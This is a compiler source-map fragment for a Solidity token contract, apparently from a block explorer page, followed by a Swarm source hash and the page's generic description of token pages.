181:4;18174;:11;;;;:::i;:::-;18167:18;;;;18137:60;18214:4;18207:11;;18052:174;;;;;:::o;12496:173::-;12552:16;12571:6;;;;;;;;;;;12552:25;;12597:8;12588:6;;:17;;;;;;;;;;;;;;;;;;12652:8;12621:40;;12642:8;12621:40;;;;;;;;;;;;12541:128;12496:173;:::o;18666:446::-;18753:23;18759:4;18765;:10;;;;;;;;;;;;18753:5;:23::i;:::-;18749:356;;;18817:1;18801:18;;:4;:18;;;18793:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;18888:1;18878:6;:11;;18854:4;:10;18859:4;18854:10;;;;;;;;;;;;;;;:21;;;:35;;;;;;;;;;;;;;;;;;18918:1;18908:6;:11;18904:147;;18959:4;18940;:10;18945:4;18940:10;;;;;;;;;;;;;;;:16;;;:23;;;;;;;;;;;;;;;;;;18904:147;;;19031:1;19004:4;:10;19009:4;19004:10;;;;;;;;;;;;;;;:16;;;:29;;;;;;;;;;;;;;;;;;18904:147;19089:4;19065;:10;19070:4;19065:10;;;;;;;;;;;;;;;:21;;;:28;;;;;;;;;;;;;;;;;;18749:356;18666:446;;;:::o;19244:555::-;19365:14;19394:21;19418:13;19426:4;19418:7;:13::i;:::-;19394:37;;19462:1;19446:13;:17;19442:113;;;19497:13;19488:6;:22;19480:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;19442:113;19569:29;19575:4;19581;:10;19586:4;19581:10;;;;;;;;;;;;;;;:16;;;;;;;;;;;;19569:5;:29::i;:::-;19565:225;;;19643:6;19629:5;:11;19635:4;19629:11;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;19615:5;:11;19621:4;19615:11;;;;;;;;;;;;;;;:34;;;;19673:5;;19664:14;;19693:18;19698:4;19704:6;19693:4;:18::i;:::-;19565:225;;;19772:6;19758:5;:11;19764:4;19758:11;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;19744:5;:11;19750:4;19744:11;;;;;;;;;;;;;;;:34;;;;19565:225;19354:445;;19244:555;;;:::o;19807:117::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:329::-;4482:6;4531:2;4519:9;4510:7;4506:23;4502:32;4499:119;;;4537:79;;:::i;:::-;4499:119;4657:1;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4628:117;4423:329;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:117::-;5649:1;5646;5639:12;5663:180;5711:77;5708:1;5701:88;5808:4;5805:1;5798:15;5832:4;5829:1;5822:15;5849:281;5932:27;5954:4;5932:27;:::i;:::-;5924:6;5920:40;6062:6;6050:10;6047:22;6026:18;6014:10;6011:34;6008:62;6005:88;;;6073:18;;:::i;:::-;6005:88;6113:10;6109:2;6102:22;5892:238;5849:281;;:::o;6136:129::-;6170:6;6197:20;;:::i;:::-;6187:30;;6226:33;6254:4;6246:6;6226:33;:::i;:::-;6136:129;;;:::o;6271:311::-;6348:4;6438:18;6430:6;6427:30;6424:56;;;6460:18;;:::i;:::-;6424:56;6510:4;6502:6;6498:17;6490:25;;6570:4;6564;6560:15;6552:23;;6271:311;;;:::o;6588:117::-;6697:1;6694;6687:12;6728:710;6824:5;6849:81;6865:64;6922:6;6865:64;:::i;:::-;6849:81;:::i;:::-;6840:90;;6950:5;6979:6;6972:5;6965:21;7013:4;7006:5;7002:16;6995:23;;7066:4;7058:6;7054:17;7046:6;7042:30;7095:3;7087:6;7084:15;7081:122;;;7114:79;;:::i;:::-;7081:122;7229:6;7212:220;7246:6;7241:3;7238:15;7212:220;;;7321:3;7350:37;7383:3;7371:10;7350:37;:::i;:::-;7345:3;7338:50;7417:4;7412:3;7408:14;7401:21;;7288:144;7272:4;7267:3;7263:14;7256:21;;7212:220;;;7216:21;6830:608;;6728:710;;;;;:::o;7461:370::-;7532:5;7581:3;7574:4;7566:6;7562:17;7558:27;7548:122;;7589:79;;:::i;:::-;7548:122;7706:6;7693:20;7731:94;7821:3;7813:6;7806:4;7798:6;7794:17;7731:94;:::i;:::-;7722:103;;7538:293;7461:370;;;;:::o;7837:684::-;7930:6;7938;7987:2;7975:9;7966:7;7962:23;7958:32;7955:119;;;7993:79;;:::i;:::-;7955:119;8141:1;8130:9;8126:17;8113:31;8171:18;8163:6;8160:30;8157:117;;;8193:79;;:::i;:::-;8157:117;8298:78;8368:7;8359:6;8348:9;8344:22;8298:78;:::i;:::-;8288:88;;8084:302;8425:2;8451:53;8496:7;8487:6;8476:9;8472:22;8451:53;:::i;:::-;8441:63;;8396:118;7837:684;;;;;:::o;8527:474::-;8595:6;8603;8652:2;8640:9;8631:7;8627:23;8623:32;8620:119;;;8658:79;;:::i;:::-;8620:119;8778:1;8803:53;8848:7;8839:6;8828:9;8824:22;8803:53;:::i;:::-;8793:63;;8749:117;8905:2;8931:53;8976:7;8967:6;8956:9;8952:22;8931:53;:::i;:::-;8921:63;;8876:118;8527:474;;;;;:::o;9007:180::-;9055:77;9052:1;9045:88;9152:4;9149:1;9142:15;9176:4;9173:1;9166:15;9193:320;9237:6;9274:1;9268:4;9264:12;9254:22;;9321:1;9315:4;9311:12;9342:18;9332:81;;9398:4;9390:6;9386:17;9376:27;;9332:81;9460:2;9452:6;9449:14;9429:18;9426:38;9423:84;;9479:18;;:::i;:::-;9423:84;9244:269;9193:320;;;:::o;9519:165::-;9659:17;9655:1;9647:6;9643:14;9636:41;9519:165;:::o;9690:366::-;9832:3;9853:67;9917:2;9912:3;9853:67;:::i;:::-;9846:74;;9929:93;10018:3;9929:93;:::i;:::-;10047:2;10042:3;10038:12;10031:19;;9690:366;;;:::o;10062:419::-;10228:4;10266:2;10255:9;10251:18;10243:26;;10315:9;10309:4;10305:20;10301:1;10290:9;10286:17;10279:47;10343:131;10469:4;10343:131;:::i;:::-;10335:139;;10062:419;;;:::o;10487:164::-;10627:16;10623:1;10615:6;10611:14;10604:40;10487:164;:::o;10657:366::-;10799:3;10820:67;10884:2;10879:3;10820:67;:::i;:::-;10813:74;;10896:93;10985:3;10896:93;:::i;:::-;11014:2;11009:3;11005:12;10998:19;;10657:366;;;:::o;11029:419::-;11195:4;11233:2;11222:9;11218:18;11210:26;;11282:9;11276:4;11272:20;11268:1;11257:9;11253:17;11246:47;11310:131;11436:4;11310:131;:::i;:::-;11302:139;;11029:419;;;:::o;11454:180::-;11502:77;11499:1;11492:88;11599:4;11596:1;11589:15;11623:4;11620:1;11613:15;11640:191;11680:3;11699:20;11717:1;11699:20;:::i;:::-;11694:25;;11733:20;11751:1;11733:20;:::i;:::-;11728:25;;11776:1;11773;11769:9;11762:16;;11797:3;11794:1;11791:10;11788:36;;;11804:18;;:::i;:::-;11788:36;11640:191;;;;:::o;11837:182::-;11977:34;11973:1;11965:6;11961:14;11954:58;11837:182;:::o;12025:366::-;12167:3;12188:67;12252:2;12247:3;12188:67;:::i;:::-;12181:74;;12264:93;12353:3;12264:93;:::i;:::-;12382:2;12377:3;12373:12;12366:19;;12025:366;;;:::o;12397:419::-;12563:4;12601:2;12590:9;12586:18;12578:26;;12650:9;12644:4;12640:20;12636:1;12625:9;12621:17;12614:47;12678:131;12804:4;12678:131;:::i;:::-;12670:139;;12397:419;;;:::o;12822:180::-;12870:77;12867:1;12860:88;12967:4;12964:1;12957:15;12991:4;12988:1;12981:15;13008:233;13047:3;13070:24;13088:5;13070:24;:::i;:::-;13061:33;;13116:66;13109:5;13106:77;13103:103;;13186:18;;:::i;:::-;13103:103;13233:1;13226:5;13222:13;13215:20;;13008:233;;;:::o;13247:224::-;13387:34;13383:1;13375:6;13371:14;13364:58;13456:7;13451:2;13443:6;13439:15;13432:32;13247:224;:::o;13477:366::-;13619:3;13640:67;13704:2;13699:3;13640:67;:::i;:::-;13633:74;;13716:93;13805:3;13716:93;:::i;:::-;13834:2;13829:3;13825:12;13818:19;;13477:366;;;:::o;13849:419::-;14015:4;14053:2;14042:9;14038:18;14030:26;;14102:9;14096:4;14092:20;14088:1;14077:9;14073:17;14066:47;14130:131;14256:4;14130:131;:::i;:::-;14122:139;;13849:419;;;:::o;14274:225::-;14414:34;14410:1;14402:6;14398:14;14391:58;14483:8;14478:2;14470:6;14466:15;14459:33;14274:225;:::o;14505:366::-;14647:3;14668:67;14732:2;14727:3;14668:67;:::i;:::-;14661:74;;14744:93;14833:3;14744:93;:::i;:::-;14862:2;14857:3;14853:12;14846:19;;14505:366;;;:::o;14877:419::-;15043:4;15081:2;15070:9;15066:18;15058:26;;15130:9;15124:4;15120:20;15116:1;15105:9;15101:17;15094:47;15158:131;15284:4;15158:131;:::i;:::-;15150:139;;14877:419;;;:::o;15302:94::-;15335:8;15383:5;15379:2;15375:14;15354:35;;15302:94;;;:::o;15402:::-;15441:7;15470:20;15484:5;15470:20;:::i;:::-;15459:31;;15402:94;;;:::o;15502:100::-;15541:7;15570:26;15590:5;15570:26;:::i;:::-;15559:37;;15502:100;;;:::o;15608:157::-;15713:45;15733:24;15751:5;15733:24;:::i;:::-;15713:45;:::i;:::-;15708:3;15701:58;15608:157;;:::o;15771:256::-;15883:3;15898:75;15969:3;15960:6;15898:75;:::i;:::-;15998:2;15993:3;15989:12;15982:19;;16018:3;16011:10;;15771:256;;;;:::o;16033:194::-;16073:4;16093:20;16111:1;16093:20;:::i;:::-;16088:25;;16127:20;16145:1;16127:20;:::i;:::-;16122:25;;16171:1;16168;16164:9;16156:17;;16195:1;16189:4;16186:11;16183:37;;;16200:18;;:::i;:::-;16183:37;16033:194;;;;:::o;16233:178::-;16373:30;16369:1;16361:6;16357:14;16350:54;16233:178;:::o;16417:366::-;16559:3;16580:67;16644:2;16639:3;16580:67;:::i;:::-;16573:74;;16656:93;16745:3;16656:93;:::i;:::-;16774:2;16769:3;16765:12;16758:19;;16417:366;;;:::o;16789:419::-;16955:4;16993:2;16982:9;16978:18;16970:26;;17042:9;17036:4;17032:20;17028:1;17017:9;17013:17;17006:47;17070:131;17196:4;17070:131;:::i;:::-;17062:139;;16789:419;;;:::o

Swarm Source

ipfs://883ce2bd6a3dd3496c82f0cbe8437ca176c50f0d372c0cc25dc5cac872e55eb0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.